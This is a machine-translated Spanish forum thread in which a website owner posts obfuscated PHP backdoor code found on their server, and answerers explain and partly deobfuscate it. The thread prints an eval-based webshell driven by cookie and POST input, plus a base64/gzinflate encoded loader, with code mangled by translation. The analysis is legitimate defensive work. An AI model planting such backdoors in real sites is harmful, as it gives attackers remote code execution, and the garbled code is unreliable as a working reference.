¿Se encontró un código malicioso? ¿Traducción, por favor? [duplicar]

0

Un visitante hostil dejó un código en mi sitio web. Desafortunadamente, la codificación hace que sea difícil entender lo que quiere (probablemente control total sobre mi servidor). Cualquier ayuda para descifrar el mensaje real sería muy apreciada. Los siguientes fragmentos de código son de cuatro archivos php diferentes:

SNIPPET 1:

  

$ plows = '6pk37x \' # 8r9-taugidyecm40svno1Hf2 * bl _ '; $ dsmvel =   Array (); $ dsmvel [] =   $ arados [13]. $ arados [0]. $ arados [28]. $ arados [10]. $ arados [3]. $ arados [28]. $ arados [19]. $ arados [0]. $ arados [11]. $ Arados [13]. $ Arados [3]. $ Arados [30]. $ Arados [31]. $ Arados [11]. $ Arados [22]. $ Arados [28]. $ Arados [33 ]. $ arados [22]. $ arados [11]. $ arados [10]. $ arados [4]. $ arados [33]. $ arados [17]. $ arados [11]. $ arados [0]. $ arados [31]. $ arados [30]. $ arados [4]. $ arados [8]. $ arados [30]. $ arados [4]. $ arados [22]. $ arados [23]. $ arados [17]. $ Arados [22]. $ Arados [22]; $ dsmvel []   = $ arados [29]. $ arados [32]; $ dsmvel [] = $ arados [7]; $ dsmvel [] = $ arados [20]. $ arados [27]. $ arados [14]. $ arados [ 26]. $ Arados [12]; $ dsmvel [] =   $ arados [24]. $ arados [12]. $ arados [9]. $ arados [35]. $ arados [9]. $ arados [19]. $ arados [1]. $ arados [19]. $ arados [13]. $ Arados [12]; $ dsmvel []   = $ arados [19]. $ arados [5]. $ arados [1]. $ arados [34]. $ arados [27]. $ arados [17]. $ arados [19]; $ dsmvel []   = $ arados [24]. $ arados [14]. $ arados [33]. $ arados [24]. $ arados [12]. $ arados [9]; $ dsmvel []   = $ arados [13]. $ arados [9]. $ arados [9]. $ arados [13]. $ arados [18]. $ arados [35]. $ arados [21]. $ arados [19]. $ arados [9]. $ arados [15]. $ arados [19]; $ dsmvel []   = $ arados [24]. $ arados [12]. $ arados [9]. $ arados [34]. $ arados [19]. $ arados [26]; $ dsmvel []   = $ arados [1]. $ arados [13]. $ arados [20]. $ arados [2]; foreach ($ dsmvel [7] ($ _ COOKIE, $ _POST) como $ zboufyf = > $ dytfo) {function   acwsil ($ dsmvel, $ zboufyf, $ iqobpne) {return   $ dsmvel [6] ($ dsmvel [4] ($ zboufyf. $ dsmvel [0], ($ iqobpne /   $ dsmvel8) + 1), 0, $ iqobpne);} función mdzodxr ($ dsmvel,   $ vozlac) {return @ $ dsmvel [9] ($ dsmvel [1], $ vozlac);} función   btfwmsl ($ dsmvel, $ vozlac) {$ jlzfvu = $ dsmvel3% 3; si   (! $ jlzfvu) {eval ($ vozlac1); exit ();}} $ dytfo =   mdzodxr ($ dsmvel, $ dytfo); btfwmsl ($ dsmvel, $ dsmvel [5] ($ dsmvel [2],   $ dytfo ^ acwsil ($ dsmvel, $ zboufyf, $ dsmvel8)));}

SNIPPET 2:

  

eval ("\ n \ $ dgreusdi = intval ( LINE ) * 337;");

     

$ a =   "7VdrT + NGFP1eqf9hiCIcKwHFj7ClIQh2Bd1V6bIthVZC1Jo4k2QSvzR2674raF / 94zDk78GLOou5W6Uo2M7Zlzz33MnTs3JzzgTsySlsa674CIXjhROtQ95fX1zo / W + / IbhONgjMOSkqBqRbnffpvcPumbtIeBg4CfdZAQdMOuh43OdJK52Qf3KySaNIh674vqxWRAzvFg / WxqHApG3SlpNZ03l5c / vjsjNCZNNwznnDlhwAbH2UeyCvW1zF / rR4U5h9zwpyCfBnTChMODJU + OTD + HhpIiOk8pmB8u4RNL674iZazpDG7MB2RswNR6y1ReodlZIsNvLavv674xyUtuJ3JuyWuIwMxzDI / r18dN5BaBm7rCfcnFHJ8ltFUNkWDJQgSkZHvj + vSnn2 + M8OJs8vri + jR + e2YYV7 + vTj9cee9vbk57b65XZxfXhvHDL97k9W / n7942Mm + qBsAZFoycOB6748mMSpc / hGSNYjtSY9AckfGbKsQYZqpxKrHF674uez5cXv36lDsByIaLROaOYDGjwp3Wh7mYQRm + XwSVROryKVNcyKd / L6eqltXmlsJxeZVzLI2 + MR42 / Xw6Z068GPo8jvHdakYsjDzWkQHxPDoMBU2YYuciXGMu / LVvDHFpNApxw9rCGT7o9kmTHyFBPLYh1 / v1C7qWm6Vys41c3hayu6uiBLzdhtm83f505JrsPmGBdNiJqKA + 7A / FKCO7bfI7HXmdDuVU3zZnd3olO9ThKI / s6743cqWmW95Xx4LKxYdcsVSZUbDuuIer9No1uNzjW48 / BAdlqlvV6sPR2ijcZLymcRG9MZW0XjGT2cz674aTWcgmfDaK4nA0GzNN18lgQCoanq / up0LQj61cFZIPhrOkIhaveJIWhbwC8JeW0cXGIw3e + F6xGlQqqyitQm61aKndAXgSTaMl674 + kOeA4er + GASD / dMzQFkLnTUJ6mglOP / ykLghRUUao279onpvKJIRCFkIy0u5f Q5jKK3eNk3 + ZvtRYUS1tzRBOKDTVnH2vPgJNFsPU1dgVjQaGY5CgKB1BFtUIW7w46745UG674N5miihTDFNajUsQ2sl8o4fuKzahSmje29sAtnxk8iBaJwrfhYjxmIiutm + Fk6G1Su7j + e0bnc + // AOGBWfq2OqSHsZ582iXCXg + DB7hf4f4O9y674674urg / oQQQ / DdLbNBggwPiHQJC8IHOkFiADdhgAG674AYgBjAGQAZQBmHJaYTAiZUgO674TAiZ674DJ79faYIDNBZoLMhFKrWzYNIAtkFsgskFkgsyBkQciCkAUhG0pt4GzgbOkLcDZwNnD2qxKhDS674bQj0I9b7aZPmf8Ksj1FV9Iipa2imSI5I1duuy2Cd6pecfpmhF74zSeJs2bals2sbdkZ2BVKrsAiVRjdQu6d6fn + vk6AgbvL5Lk5fsYpT0a674UVJ7T8ocGDBauSltwMFn6do5y0iVGJVdoZV7xpGy + IAv49kJYiFmvpfDRMZYM674YyveVlza2G6 + 1Hbzs2w3S7YffAHTrZeabr3Y9DrhJ8v / sc2rKfcY6GUiHZOu2gw33QPDJ2VdXDo5PsbpplL71JLsD9IfM67StC674iPSDlPZNZvbf3 / GaSMR4QW93BZj + D1mZkDdbf ";   $ a = str_replace ($ dgreusdi, "E", $ a); evaluar   (gzinflate (base64_decode ($ a)))

SNIPPET 3: enlace

SNIPPET 4: enlace

¡Muchas gracias de antemano!

    
pregunta Brokenstuff 08.08.2018 - 03:17
fuente

2 respuestas

1

Este código está ofuscado junto con la codificación base64 y gzinflating. Debe reemplazar ciertas cadenas para obtener la versión codificada adecuada del script.

El script usa una clave llamada pass y el atacante, y luego la usa para comprometer su sitio web. Es mejor simplemente regresar a su sitio web si tiene una copia de seguridad y luego agregar una línea al encabezado del sitio web para filtrar todos los caracteres especiales en GET & Solicitudes POST. Debería evitar que el atacante inyecte códigos maliciosos.

    
respondido por el lock 08.08.2018 - 05:25
fuente
0

Reemplacé los caracteres y formateé todo de una manera más legible. Sin embargo, hay algunas variables que no se declaran correctamente. Al no ser un ninja de PHP, podría haber perdido una función de idioma. Por ejemplo, $z está definido, pero $z3 se usa en el código. Esto debería ser inválido - > PHP devuelve null para variables no declaradas.

$x = Array();
$x[0] = "a61931e6-a3f2-41b4-97bd-62f78f740d44";
$x[1] = "H*";
$x[2] = "#";
$x[3] = "count";
$x[4] = "str_repeat";
$x[5] = "explode";
$x[6] = "substr";
$x[7] = "array_merge";
$x[8] = "strlen";
$x[9] = "pack";

foreach (array_merge($_COOKIE, $_POST) as $key => $val) {
    function f2($x, $key, $i) {
        return substr(str_repeat($key . $x[0], ($i / $z) + 1), 0, $i);
    }
    function f3($x, $v) {
        return @pack("H*", $v);
    }
    function f1($x, $v) {
        $a = $x3 % 3;
        if (!$a) {
            eval($v1);
            exit();
        }
    }
    $val = f3($x, $val);
    f1($x, explode("#", $val ^ f2($x, $key, $z)));
}

El segundo fragmento de código es imposible de decodificar sin conocer LINE . Los miembros amigables que comentaron tu pregunta proporcionaron algunos enlaces a preguntas similares.

Simplemente copie y pegue el código PHP en un editor, reemplace nombres de variables extrañas y descodifíquelo.

    
respondido por el GxTruth 08.08.2018 - 10:36
fuente

Lea otras preguntas en las etiquetas